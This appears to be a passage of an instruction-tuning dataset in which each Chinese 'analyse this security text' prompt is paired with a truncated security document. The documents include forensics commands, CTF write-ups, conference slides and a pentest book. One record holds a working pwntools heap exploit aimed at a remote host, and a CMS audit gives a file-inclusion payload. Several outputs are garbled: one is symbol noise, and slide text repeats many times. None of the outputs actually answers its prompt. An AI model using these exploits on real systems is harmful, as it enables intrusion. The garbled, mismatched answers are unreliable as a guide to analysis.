thekeysarelikerightnexZoeachother$linux, LiME, Vola#lity, , Memory,Forensics, ELF,header,not,needed,aSer,loading, Zero,the,header,(memset), Process,con#nues,to,run, Analysis,tools,fail, , Memory,Forensics, Completeness:, , git$clone$https://github.com/504ensicsLabs/LiME$ $ cd$LiME/src/$ $ make$ $ sudo$insmod$./lime9$(uname$r).ko$\\$ $$\"path=/tmp/lol.lime$format=lime\"$ Memory,Forensics, Completeness:, , git$clone$https://github.com/ volatilityfoundation/volatility$ $ cd$volatility/$ $ sudo$python$setup.py$install$ Memory,Forensics, Completeness:, , cd$tools/linux/$ $ make$ $ head$module.dwarf$ $ .debug_info$ ...$ Memory,Forensics, Completeness:, , sudo$zip$\\$$ $$volatility/plugins/overlays/linux/Ubuntu1604.zip$\\$ $$tools/linux/module.dwarf$\\$ $$/boot/Syst", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nFlying With Firearms Domestic Laws & Policies from the TSAs Prohibited Items list http://www.tsa.gov/travelers/airtravel/prohibited/permitted-prohibited-items.shtm Ammunition - Check with your airline or travel agent to see if ammunition is permitted in checked baggage on the airline you are flying. If ammunition is permitted, it must be declared to the airline at check-in. Small arms ammunitions for personal use must be securely packed in fiber, wood or metal boxes or other packaging specifically designed to carry small amounts of ammunition. Ask about limitations or fees, if any, that apply. Firearms - firearms carried as checked baggage MUST be unloaded, packed in a locked hard sided container to which no one else has a key, and declared to the airline at check-in. Flare Guns - May be carried as checked baggage MUST be unloaded, packed in a locked hard sided container to which no one else has a key, and declared to the airline at check-in. All of the above may not be kept in carry-on luggage but are acceptable in checked bags. While conventional ammunition (as seen above) is legal in checked baggage, flares may not be in ones luggage at all. Also totally not permitted are un-loaded propellants (gunpowder, black powder, percussion caps) unless they are part of loaded cartridges properly packed according to the above regulations. from the TSAs Firearms & Ammunition guidance page http://www.tsa.gov/travelers/airtravel/assistant/editorial_1666.shtm You must declare all firearms to the airline during check-in. Firearms must be unloaded. Firearms must be packed in hard-sided containers. Said containers must be locked. A locked container is defined as one that completely secures the firearm from access by anyone other than you. If you are not present and a security officer must open the container, we or the airline will make a reasonable attempt to contact you. You must securely pack any ammunition in fiber (such as cardboard), wood, or metal boxes or other packag", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n10 Things That Are Pissing Me Off RenderMan, Church of Wifi Caution: The first 3 rows may get wet 10 Things That Are Pissing Me Off There's a lot more, but we're sticking to Hacker related ones This is cheaper than therapy Got so pissed off I'm doing something about some of them, others I need help Save discussion till afterwards, I only have 20 minutes #1 WPA-RADIUS Documentation #1 WPA-RADIUS Documentation Been saying 'use WPA-RADIUS' for best security for years Ever tried to set it up open source? No two sets of documentation is the same Every distro a little different Took me weeks to get something running How is Joe IT guy supposed to do it if I can't? #1 WPA-RADIUS Documentation Decided to write generic laymans instructions Distro, vendor generic instructions for building a small WPA-RADIUS system Maybe a Wiki for others to submit their own changes and notes about different systems, scripts, ideas, etc. Every AP supports it, why is'nt it being used; Because it's confusing as hell. #2 Ideas Dying a Horrible Death #2 Ideas Dying a Horrible Death Like many, I have random ideas Some better than others Some need to be made into products for the greater good i.e. Wedding photo download station #2 Ideas Dying a Horrible Death Got married in the spring, wanted as many photo's as possible. Most guests had digital cameras In a moment of brilliance, setup laptop w/ 25-in- one card reader, got everyones pics as they left, an extra 1000 photo's Some simple refinements could make a good product to sell to wedding planners and photographers. Put me down for 10% gross Need to talk more and not hoard ideas #3 Lack of Tool Evolution #3 Lack Of Tool Evolution So many useful wireless (and other) tools never develop beyond proof-of-concept Airpwn, Karma, Void11 I can't code so I can't fix it I can bribe though! #3 Lack of Tool Evolution Wireless Village project Posted development I think needs to be tackled and reward milestones, feel free to exceed goa", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" -*- nroff -*- .\\\" Copyright 1993, 1994, 1995 by Theodore Ts'o. All Rights Reserved. .\\\" This file may be copied under the terms of the GNU Public License. .\\\" .TH FSCK 8 \"July 2003\" \"E2fsprogs version 1.34\" .SH NAME fsck \\- 检查并修复Linux文件系统 .SH 总览 SYNOPSIS .B fsck [ .B \\-sACVRTNP ] [ .B \\-t .I fstype ] .I [filesys ... ] [\\-\\-] [ .B fs-specific-options ] .SH 描述 DESCRIPTION .B fsck 通常用来检查并适当修复一个或多个Linux文件系统. .I filesys 可以是一个设备名(例如: .IR /dev/hdc1 \", \" /dev/sdb2 ), 一个挂载点(例如: .IR / \", \" /usr \", \" /home ), 或一个ext2文件系统的磁盘标签, 也可以是UUID指定符(例如: UUID=8868abf6-88c5-4a83-98b8-bfc24057f7bd 或 LABEL=root). 通常 .B fsck 会试着以并行的方式同时在不同的物理磁盘上运行文件系统检查这样可以减少对所有文件系统进行检查的时间 .PP 如果没有在命令行指定文件系统并且没有指定 .B \\-A 选项 .B fsck 将默认顺序地检查 .B /etc/fstab 中登记的文件系统这和使用 .B \\-As 选项是相同的 .PP .B fsck 退出的返回值是下列情况之和 .br \\ 0\\ \\-\\ 没有错误 .br \\ 1\\ \\-\\ 文件系统有错但已修复 .br \\ 2\\ \\-\\ 系统应当重启 .br \\ 4\\ \\-\\ 文件系统错误没有修复 .br \\ 8\\ \\-\\ 运行错误 .br \\ 16\\ \\-\\ 用法或语法错误 .br \\ 32\\ \\-\\ 用户撤销了fsck 操作 .br \\ 128\\ \\-\\ 共享库出错 .br 当检测多个文件系统时退出的返回值是对每个文件系统检查的返回值按位或的结果 .PP 实际上 .B fsck 只是Linux 中不同的文件系统检查器(\\fBfsck\\fR.\\fIfstype\\fR)的一个前端首先它在 .I /sbin 中搜索特定文件系统的检查器然后在 .I /etc/fs 和 .IR /etc 中搜索最后在 PATH 环境变量中列出的路径中搜索请查看特定文件系统的检查器的手册页来获取细节信息 .SH 选项 OPTIONS .TP .B \\-s 顺序地进行 .B fsck 操作如果你要检查多个文件系统并且检查器运行在交互模式这样作比较有好处(注意: .BR e2fsck (8) 默认是以交互方式运行的要使 .BR e2fsck (8) 以非交互方式运行你必须指定 .B \\-p 和 .B \\-a 选项如果你想要自动纠正错误或 .B \\-n 选项如果不想自动纠正错误) .TP .BI \\-t \" fslist\" 指定要检查的文件系统的类型当指定了 .B \\-A 标志时只有 .I fslist 中列出的类型的文件系统会被检查 .I fslist 参数是一个以逗号分隔的文件系统类型列表以及选项说明符可以在这个以逗号分隔的列表的所有文件系统前面加上否定前缀 .RB ' no ' 或 .RB ' ! ' 来使得只有没有列在 .I fslist 中的文件系统将被检查如果并非 .I fslist 中列出的所有文件系统都加上了否定前缀那么只有 .I fslist 中列出的文件系统将被检查 .sp 选项说明符也可能包含在这个以逗号分隔的列表 .IR fslist 中它们的格式是 .BI opts= fs-option\\fR 如果出现了选项说明符那么只有在 .B /etc/fstab 中它们的挂载选项字段中不包含 .I fs-option 的文件系统将被检查 如果选项说明符有否定前缀那么只有在 .B /etc/fstab 中它们的挂载选项字段中包含 .I fs-option 的文件系统将被检查 .sp 例如如果 .IR fslist 中出现了 .B opts=ro 那么只有 .B /etc/fstab 中挂载选项包含 .B ro 的文件系统将被检查 .sp 为了和Mandrake 发行版兼容(它的启动脚本依赖于一个未经许可而对 .B fsck 程序用户接口作出的改变)如果 .IR fslist 中有一个 .B loop 文件系统它被视为指定了 .B opts=", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n! \" # $ % &' ( ) * * * + , - - . / 0 ! \" 1 2 3 0 4 5 $ \" 2 6 7 8 \" 2 0 ! % 9 % $ 8 : 8 ; : % % ! < 8 ' % = : 8 ; : % % \" 2 9 ! 8 8 2 9 % > 0 ! 8 ? 1 ' 0 ; ! 8 4 \" 2 % ! \" @ 1 % 8 \" % 0 ; 4 A ! B 4 \" 9 \" % 1 ; 4 8 ! % $ 8 % 8 ! B 2 9 % $ 8 C D E C 8 ; 8 ! 0 7 F 1 @ 7 \" ' G \" ' 8 ; 2 8 0 2 1 @ 7 \" 2 $ 8 4 @ % $ 8 H ! 8 8 I 9 % > 0 ! 8 H 1 ; 4 0 % \" ; ? 8 \" % $ 8 ! J 8 ! 2 \" ; , 9 % $ 8 G \" ' 8 ; 2 8 K ! &0 % 1 ! % \" ; ( 0 ; 7 0 % 8 ! J 8 ! 2 \" ; = L M N O P Q R Q S P T U V W X Y Z [ \\ V ] _ _ ` a _ b a _ c _ O \\ O _ b S W d U S e Y d L f g h i j k l i m k n o k i p q p r s t t u v w t x y t z { | x z } ~ } ~ } I 1 ! % 8 4 1 2 5 8 2 F K F K I : I 1 ! % 8 4 1 2 5 8 2 I 1 ! % 8 4 1 2 5 8 2 I 1 ! % 8 4 1 2 5 8 2 I 1 ! % 8 4 1 2 5 8 2 I 1 ! % 8 4 1 2 5 8 2 I 1 ! % 8 4 1 2 5 8 2 F K F K I : K D K % $ 8 ! I 1 ! % 8 4 1 2 5 8 2 I : ª I 1 ! % 8 4 1 2 5 8 2 I : ) p q t s { ² ³ s µ z } ~ ~ } ¹ } ~ ~ º ¼ ½ ¹ ¾ À Á j o k i q p r s t t u v w t x  s t Â Ã Ä ² s t Å q t s { ² ³ Â Ã Ä ² s t Æ Ç Æ ª È ¹ É Ê Ë È È ~ È Ì Í Ç Î ¹ Ï Ð Ê Ñ Ò Ó i i Á Ô i Ò Ô Õ q p t s { ² ³ s µ z ½ Æ Ì ¹ Ì ,", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# InsanityHosting > https://download.vulnhub.com/insanity/Insanity-Hosting.ova 靶场IP`192.168.2.134` 扫描对外端口服务 ``` (rootkali)-[~] # nmap -p1-65535 -sV 192.168.2.134 Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-06 08:23 EDT Nmap scan report for 192.168.2.134 Host is up (0.00024s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.2.33) MAC Address: 00:0C:29:C2:09:42 (VMware) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 154.26 seconds ``` 访问FTP 21端口可以匿名登陆不过没有发现有用的东西 ![image-20220906202733029](../../.gitbook/assets/image-20220906202733029.png) 浏览器访问80端口 ![image-20220906202639244](../../.gitbook/assets/image-20220906202639244.png) 爆破目录 ``` (rootkali)-[~] # gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://192.168.2.134/ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.134/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/09/06 08:28:58 Starting gobuster in directory enumeration mode =============================================================== /.htaccess (Status: 403) [Size: 211] /.htpasswd (Status: 403) [Size: 211] /cgi-bin/ (Status: 403) [Size: 210] /css (Status: 301) [Size: 233] [--> http://192.168.2.134/css/] /data (Status: 301) [Size: 234] [--> http://192.168.2.134/data/] /fonts (Status: 301) [Size: 235] [--> http://192.168.2.134/fonts/] /img (Status: 301) [Size: 233] [--> http://192.168.2.134/img/] /js (Status: 301) [Size: 232] [--> http:", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Can You Hear Me? Category: Forensics, 50 Points ## Description > I think I heard something. I'm pretty sure it was around 3:00 pm... A binary file was attached. ## Solution Let's check the binary file: ```console root@kali:/media/sf_CTFs/matrix/Can_You_Hear_Me# file Can_You_Hear_Me Can_You_Hear_Me: data root@kali:/media/sf_CTFs/matrix/Can_You_Hear_Me# binwalk Can_You_Hear_Me DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- ``` Noting much to see here. Let's take a look at the binary: ```console root@kali:/media/sf_CTFs/matrix/Can_You_Hear_Me# xxd -g 1 Can_You_Hear_Me | head 00000000: f3 ff c4 44 00 00 03 00 00 48 00 00 17 00 91 05 ...D.....H...... 00000010: 03 f6 04 b8 63 60 32 13 87 e6 8a a1 48 06 7e 99 ....c`2.....H.~. 00000020: 5e fd 43 af c5 10 b1 62 ca e3 20 6b 00 00 83 00 .C....b.. k.... 00000030: 82 8b 2e 0e 2e 1f 70 fe 3e b8 13 7c de 07 fe 53 ......p.>..|...S 00000040: 40 90 0c 10 81 44 ff 8f ff ff a3 fc 00 b1 0f 3e @....D.........> 00000050: 0a c1 f0 c1 0e fa 61 05 70 a0 b3 22 65 8c 4e 5f ......a.p..\"e.N_ 00000060: f3 ff c4 44 11 53 79 e8 01 f0 10 4f 63 00 e7 a5 ...D.Sy....Oc... 00000070: 32 a3 d3 c9 4e 82 0e 73 9a c5 cb b8 63 f4 aa 08 2...N..s....c... 00000080: f8 61 9b 16 2f 1d 81 9c 8f 73 cb 02 90 ad 34 45 .a../....s....4E 00000090: 15 10 58 a8 59 58 84 58 de 68 a4 c9 a0 93 ac 1a ..X.YX.X.h...... ``` Nothing jumps to the eye, but if we take a closer look we can see a pattern starting with `f3 ff c4 44`. Is this the prefix for some kind of record? We'll align the binary differently and inspect it again: ```console root@kali:/media/sf_CTFs/matrix/Can_You_Hear_Me# xxd -g 1 -c 96 Can_You_Hear_Me | head 00000000: f3 ff c4 44 00 00 03 00 00 48 00 00 17 00 91 05 03 f6 04 b8 63 60 32 13 87 e6 8a a1 48 06 7e 99 5e fd 43 af c5 10 b1 62 ca e3 20 6b 00 00 83 00 82 8b 2e 0e 2e 1f 70 fe 3e b8 13 7c de 07 fe 53 40 90 0c 10 81 44 ff 8f ff ff a3 fc 00 b1 0f 3e 0a c1 f0 c1 0e fa 61 05 70 a0 b3 22 65 8c 4e 5", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWhat youll learn What are the origins of this exploit. What are the differences between executable and Static images? How to create images with PHP & GD How to fool servers into executing images (instead of serving them to browsers) How to do cool things with images on Web 2.0 websites The Executable Image Exploit DEFCON XV Las Vegas Nevada mike@schrenk.com The Executable Image Exploit www.schrenk.com What youll learn What are the origins of this exploit. What are the differences between executable and Static images? How to create images with PHP & GD How to fool servers into executing images (instead of serving them to browsers) How to do cool things with images on Web 2.0 websites The Executable Image Exploit DEFCON XV Las Vegas Nevada mike@schrenk.com The Executable Image Exploit www.schrenk.com What youll learn What are the origins of this exploit. What are the differences between executable and Static images? How to create images with PHP & GD How to fool servers into executing images (instead of serving them to browsers) How to do cool things with images on Web 2.0 websites The Executable Image Exploit DEFCON XV Las Vegas Nevada mike@schrenk.com The Executable Image Exploit www.schrenk.com What youll learn What are the origins of this exploit. What are the differences between executable and Static images? How to create images with PHP & GD How to fool servers into executing images (instead of serving them to browsers) How to do cool things with images on Web 2.0 websites The Executable Image Exploit DEFCON XV Las Vegas Nevada mike@schrenk.com The Executable Image Exploit www.schrenk.com What youll learn What are the origins of this exploit. What are the differences between executable and Static images? How to create images with PHP & GD How to fool servers into executing images (instead of serving them to browsers) How to do cool things with images on Web 2.0 websites The Executable Image Exploit DEFCON XV Las Vegas Nevada mike@schrenk", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n服务器可信与硬件安全实践 目录 0 1 启动安全威胁 政策与行业 腾讯实践探索 启动安全威胁 0 1 服务器系统构成 启动安全威胁 0 1 启动链威胁 BMC BOOT &BMC&OS BOOT &BMC NIC &write SPI&flash PCH BOOT &ME&&&NIC BOOT UEFI BOOT Firmware Update OS BOOT SMM Handler &write SPI&flash Opt1Roms 3rd1NIC GPU FPGA,etc MotherBoard SPI&Flash AC&Power&On BMC SPI&Flash RAM RAM 红色已知在野案例 橙色实验案例 启动安全威胁 0 1 案例 Apt28-Lojax首个针对UEFI BIOS的持久化攻击 NSA针对戴尔惠普服务器的BIOS后门泄密 CIA针对苹果计算机的BIOS间谍工具泄密 威胁来源 安全漏洞 物理接触邪恶女仆 供应链 更隐蔽更顽固 目录 0 1 启动安全威胁 政策与行业 腾讯实践探索 等保2.0要求 0 1 第一级安全要求 分类要求 可信验证要求内容 安全通信网络|边界 区域|计算环境 可基于可信根对通信|边界|计算设备的系统引导程序系统程序等进行 可信验证并在检测到其可信性受到破坏后进行报警 等保2.0要求 0 1 二三四级要求 分类要求 可信验证要求内容 第二级 可信验证对象增加重要配置参数和应用程序 验证结果形成审计记录送至安全中心 第三级 在应用程序的关键执行环节进行动态可信验证 第四级 在应用程序的所有执行环节进行动态可信验证 进行动态关联感知 业界回顾 0 1 谷歌专用芯片titan固件校验与通信网关 亚马逊云智能网卡nitro固件校验与更新主机对固件只读 微软层级化可信根Cerberus类似谷歌 华为自研BMC 浪潮自研BMC + 国产可信模块 EDR行业增加PC端查杀能力 目录 0 1 启动安全威胁 政策与行业 腾讯实践探索 腾讯探索实践 0 1 UEFI启动过程 腾讯探索实践 0 1 防护链展示 腾讯探索实践 0 1 洋葱运行时监控 BIOS镜像校验 周期导出BIOS镜像 拆分UEFI文件系统 对比厂商原始BIOS镜像 硬件配置基线校验 主板BIOS写保护状态 BootGuard Secure Boot 腾讯探索实践 0 1 APT28 攻击仿真 腾讯探索实践 0 1 UEFI原生能力 Secure Boot 支持证书/HASH黑白名单 验证板卡驱动与BootLoader 通过OEM侧注入腾讯自主证书链 定制告警能力 腾讯探索实践 0 1 Secure Boot 改造效果 腾讯探索实践 0 1 UEFI启动前验证-BootGuard 基于证书 + 验证签名合法性 验证范围是UEFI镜像中的SEC卷与 PEI卷 DXE卷由供应商自由发挥 黑屏阻断需定制告警能力 腾讯探索实践 0 1 落地部署 腾讯探索实践 0 1 遇到的坑 上游供应商成熟度 软硬结合兼容性 主板BIOS BUG 内核内存调度 BUG 供应链-维保体系改造 M A N O E U V R E 感谢观看 KCon 汇聚黑客的智慧", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n*CTF WriteUp By Nu1L Author: Nu1L *CTF WriteUp By Nu1L Pwn examination BabyNote Ping Reverse Simple File System NaCL Jump Misc Alice's warm up Today BabyFL Alice's challenge checkin Web oh-my-grafana oh-my-notepro oh-my-lotto oh-my-lotto-revenge Crypto ezRSA InverseProblem2 Pwn examination from pwn import * r = lambda x: p.recvuntil(x,drop=True) s = lambda x,y: p.sendafter(x,y) sl = lambda x,y: p.sendlineafter(x,y) context.log_level = 'debug' context.arch = 'amd64' HOST,PORT = \"124.70.130.92\", 60001 p = remote(HOST, PORT) # p = process('./examination') def choset(): sl(': ', str(0)) def choses(): sl(': ', str(1)) # teacher def add(number): sl('>> ', str(1)) sl(': ', str(number)) def score(): sl('>> ', str(2)) def newReview(idx,sz,comment): sl('>> ', str(3)) sl('> ', str(idx)) sl(': ', str(sz)) s(':', comment) def editReview(idx,comment): sl('>> ', str(3)) sl('> ', str(idx)) s(':', comment) def call(idx): sl('>> ', str(4)) sl('?\\n', str(idx)) def changeR(idx): sl('>> ', str(5)) sl(': ', str(idx)) def magic0(cnt): sl('>> ', str(6)) p.send(cnt) # student def do(): sl('>> ', str(1)) def check(): sl('>> ', str(2)) def pray(): sl('>> ', str(3)) def sset(): sl('>> ', str(4)) def changeI(idx): sl('>> ', str(6)) sl(': ', str(idx)) choset() add(0x1) # 0 add(0x1) # 1 add(0x1) # 2 add(0x1) # 3 add(0x1) # 4 add(0x1) # 5 newReview(0,0x68,'/bin/sh'.ljust(0x63,'\\x00')) newReview(1,0x68,'1'*0x68) newReview(2,0x3f8,'2'*0x3f8) add(0x1) # 6 newReview(4,0x68,'4'*0x68) newReview(6,0x68,'6'*0x68) changeR(1) changeI(0) pray() changeR(0) score() changeR(1) check() r('reward! ') heap = int(r('\\n'),16)-0x2a0 log.info(\"@ heap: \"+hex(heap)) sl('addr: ', str((heap+0x330)*10)) # fuckoff changeR(0) editReview(1,'1'*0x68+p8(0xc1)) # off-by-one call(2) # leak libc newReview(3,0x3f8,'3'*0x3f8) payload = p64(heap+0x990)+4*p64(0)+p64(0x21)+p64(0x500000001) payload += p64(heap+0x9b0)+p64(0x8) newReview(5,0x48,payload) changeR(1) changeI(6) check() pause() r('review:\\n') libc = u64(p.recv(8))-0x1ecbe0 lo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## HD44780 (embedded, 150p, 40 solves) > The logic states of the GPIOs have been recorded Figure out the displayed message. You're gonna need this [here](./hd44780.tgz) ![1.jpg](1.jpg) ### PL [ENG](#eng-version) Dostajemy paczkę z sześcioma zdjęciami i sześcioma plikami, które zostały nazwane RSPI_GPIO_23.txt. Na zdjęciach widzimy 4 wierszowy wyświetlacz podłączony do raspberry pi. Po nazwie zadania możemy wywnioskować, że jest to wyświetlacz oparty o sterownik Hitachi HD44780. Pliki tekstowe zawierają dwie linijki danych pierwsza to czas, druga stan lini. Ze zdjęć widać, że wyświetlacz i raspberry podłaczone są w następujący sposób: ``` GPIO07 -> RS GPIO08 -> CLK GPIO25 -> BIT4 GPIO24 -> BIT5 GPIO23 -> BIT6 GPIO18 -> BIT7 ``` Haczykiem w tym zadaniu okazuje się to że wyświetlacz jest czterowierszowy co zmienia mapowanie pamieci na piksele na wyświetlaczu. Poprawne mapowanie wygląda w ten sposób. ![http://forum.allaboutcircuits.com/data/photos/o/1/1380-1335426137-a68c5c9f44d7bbcfc514a0e33c4c9cc6.png](http://forum.allaboutcircuits.com/data/photos/o/1/1380-1335426137-a68c5c9f44d7bbcfc514a0e33c4c9cc6.png) Potem wczytujemy dane plikiem [read.py](./read.py) i sortujemy je pod względem czasu. W wikipedii czytamy, że sygnał zegarowy \"łapie\" na opadającym zboczu. Emulujemy stany lini i zapisujemy je jeśli stan lini CLK zmienia się z 1 na 0. Następnie na [wyjściu](./read.out) wygenerowanym przez [read.py](./read.py) odpalamy [decode.py](./decode.py). Wyświetlacz podłączony jest czterobitowym interfejsem, dlatego musimy poskładać dwa stany na pojedynczą komendę. [Otrzymujemy](./decode.out) pięknie rozpisane to co dzieje się z wyświetlaczem. Możemy to zaemulować plikiem [emulate.py](./emulate.py). Na [wyjściu](./emulate.out) dostajemy ciąg ekranów. Ostatecznie flaga ukazana jest na ekranie: ``` ###################### #EOM # #The flag 32C3_Never_# #_let_you_down_Never_# #_gonna_give_you_up_ # ###################### ``` a flaga to: `32C3_Never__let_you_down_Never__gonna_give_you", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n代码审计 代码审计(一 一) 熊海 熊海cms V1.0 最近在学习代码审计试着将这些东西记录下来也是当做一种总结吧今天我进行这款cms的代码审计叫熊海cms V1.0它是一款小型的网站内容管 理系统非常适合个人建站使用因为年代久远了所以这款cms漏洞还是比较多的审计起来难度不难非常适合我这种小菜鸡入门学习的话不多 说我们先来看看它的源代码目录分布吧 admin//管理员后台 css//css样式 files//功能函数 images//图片文件 inc//配置信息 install//安装目录文件 seacmseditor//seacms编辑器 template//模板文件 upload//文件上传 index.php//网站入口 phpinfo.php//显示PHP的当前信息 使用说明.txt//使用说明 现在我们就大概清楚了它的目录信息对它的目录结构有了大体掌握现在我们就开始进行代码审计吧这个cms靶场漏洞网上能找出一堆writeup 所以我打算讲解一些不一样的东西重分析轻演示这里我主要介绍代码审计思路不会对每处漏洞都一一讲解有兴趣的小伙伴就可以下载下来 细细审计 代码审计常见方法 代码审计常见方法 1通读全文代码 2定向功能审计 3敏感函数回溯 1通读全文代码 通读全文代码 首先我们打开熊海cms中的index.php文件: 在这里我们可以得知它是先接收一个r参数然后用addslashes函数进行过滤然后再跳转到r.php文件变成files/$file.php如果为空的话则包含 files/index.php这样的话我们在这里就很清楚的知道这里就是一个很经典的包含漏洞r参数只是经过了addslashes函数进行过滤(几乎相当于没 过滤)后被incluede包含同时因为在当前目录下有就存在phpinfo文件我们可以直接在url输入?r=../phpinfo可以发现程序产生了文件包含漏洞 http://127.0.0.1:9999/?r=../phpinfo 然后我们根据它的正确思路接着我们应该是跳转到file目录下的index.php文件 <?php echo $info['title']?> \" /> \" />
    Oh,Perfect 个人免费开源程序倡导者
    #include #include #include char bufkey_str[1000] = \"I'm a big fan of septyem46c7eb3f858c137f9bdffa5e0f880e8959bb2e65\"; int* bufkey = (int*) bufkey_str; unsigned int all_v5[] = { 0x363DDF8A, 0x0E3707311, 0x0E879FDD, 0x24BEA3C7, 0x9B7E408B, 0x3074528A, 0x0C6445404, 0x0A35E8A61, 0x99B3FD42, 0x4DF979E2, 0x1F8C4B0E, 0x1447FFFA, 0x8B99BBFD, 0x0AF5F33D7, 0x2F51FB8C, 0x0ADC702EB, 0x0B5A5319C, 0x33984815, 0x41535A36, 0x0E657EB0B, 0x0A4B199FF, 0x0D1C6CD38, 0x0BF583A5E, 0x930ABA46, 0x0D72C79D9, 0x6BFEFE79, 0x0C078D7C2, 0x4E7543D1, 0x4CD7A6F5, 0x86E471D0, 0x0A3AF0F50, 0x5347B2A8, 0x32C531A5, 0x6917DC30, 0x47BB052F, 0x0CBF37B13, 0x0D78FCCAA, 0x0B69B15D6, 0x13CE1C8E, 0x38FEA0C8, 0x4B0F668A, 0x680AFFA0, 0x6F6DCF36, 0x4D5B77E0, 0x0AE297FA2, 0x0F059DF29, 0x4C598EFB, 0x0E006177F, 0x60F2E72D, 0x9060FA96, 0x7B264647, 0x69982847, 0x0B2722356, 0x586C7009, 0x0A2208796, 0x1DB31180, 0x0F6CBF07E, 0x8FE301BC, }; uint64_t round(uint64_t in, int n) { uint32_t v4 = in; uint32_t v6 = in >> 32; uint32_t v5a = all_v5[n * 2]; uint32_t v5b = all_v5[n * 2 + 1]; v6 += ((v5a + bufkey[v4 & 0xf]) (v4 + ((v4 >> 5) (16 * v4)))); v4 += ((v5b + bufkey[v6 & 0xF]) (v6 + ((v6 >> 5) (16 * v6)))); uint64_t fin = ((uint64_t) v6 << 32) | v4; return fin; } uint64_t invround(uint64_t out, int n) { uint32_t v4 = out; uint32_t v6 = out >> 32; uint32_t v5a = all_v5[n * 2]; uint32_t v5b = all_v5[n * 2 + 1]; v4 -= ((v5b + bufkey[v6 & 0xF]) (v6 + ((v6 >> 5) (16 * v6)))); v6 -= ((v5a + bufkey[v4 & 0xf]) (v4 + ((v4 >> 5) (16 * v4)))); uint64_t fin = ((uint64_t) v6 << 32) | v4; return fin; } uint64_t dec(uint64_t state) { state = (state << 32) | (state >> 32); for (int j = 28; j >= 0; j--) { state = invround(state, j); } return state; } char buf[1000]; uint64_t xor1[] = { 0x4FFCD296B19AFA37, 0x0C912086E763430B7, 0x9B2B79EE86ABC820, 0x0A05322E3934CC3EA, 0x0A05322E3934CC3EA, 0x0A05322E3934CC3EA, 0x4AA443CAD9CBE242, }; uint64_t xor2[] = { 0x801135AA0BF7AC52LL, 0x8C2842785341", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSecurity Assurance Basics: Offensive Security Assurance Penetration Testing 101 (mRr3b00ts Notebook draft edition 0.3) Author: Daniel Card Penetration Testing PUBLIC Version 0.3 Copyright Xservus Limited Page 2 Contents Copyright ............................................................................................................................................... 10 Document Control................................................................................................................................. 10 Version .............................................................................................................................................. 10 A glimpse at mRr3b00ts world ............................................................................................................. 11 Introduction .......................................................................................................................................... 12 Disclaimer.............................................................................................................................................. 12 Realities of System Security Assurance Activities ................................................................................. 13 Sales ...................................................................................................................................................... 14 Scoping .................................................................................................................................................. 14 Test Focus ......................................................................................................................................... 14 Test Types ......................................................................................................................................... 14 Test Scope Definition .......................................................................................", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMammas Dont Let Your Babies Grow Up to Be Pen Testers: Everything Your Guidance Counselor Forgot To Tell You About Pen TesEng Who are we? 2 dudes by a trash can Dr. Patrick Engebretson Network Sec wonk Dr. Josh Pauli Web Sec wonk So you want to be a pen tester? Issue 1: Your expectaEons Hacking like the movies!!!! Chicks dig hackers MS Windows rulz GUI > command line Become a PT, earn millions. Issue 2: Reality. Most chicks dont really care if youre leet. Linux rulz. Command line > GUI There is no money tree Issue 3: Budgets What does a budget have to do with a Pen Test? You can have anything you wantas long as its free Issue 4: The PT authorizaEon form should NOT give away the farm. This job is like fighEng Mike Tyson* with a pillow What do you mean were going to tell them were coming? * Tyson circa 1988 Issue 5: InformaEon Gathering is important. Yes we encourage you to do informaEon gatheringit just has to be done in 10 minutes or less. Issue 6: You must follow the rules of engagement What does scope have to do with anything? a.k.a. you mean to tell me that that box is ripe with exploits and can give me root access to my target but Im not allowed to afack it? Issue 7: Fat fingers The dangers of having chubby lifle hands Circus folk. Nomads, you know. Small hands. Smell like cabbage. ~ AusEn Powers Issue 8: UnrealisEc deadlines You mean Im supposed to perform a Pen Test on 2,000 ips in 16 hours? Issue 9: UnrealisEc client expectaEons The sales men told you WHAT? you know its not REALLY possible to thoroughly scan 200 URLs in the next 20 minutes right? Issue 10: Relying on other peoples work Using un-audited exploits What do you mean I gave away shells? Issue 11: Relying on YOUR OWN work What do you mean I got our IP banned from Whois? Issue 12: Keeping your data secure What do you mean you sold the old PT machines on eBay??? Issue 13: When your success means someone else failed. What do you mean the Sys Admin is mad at me for embarrassi", 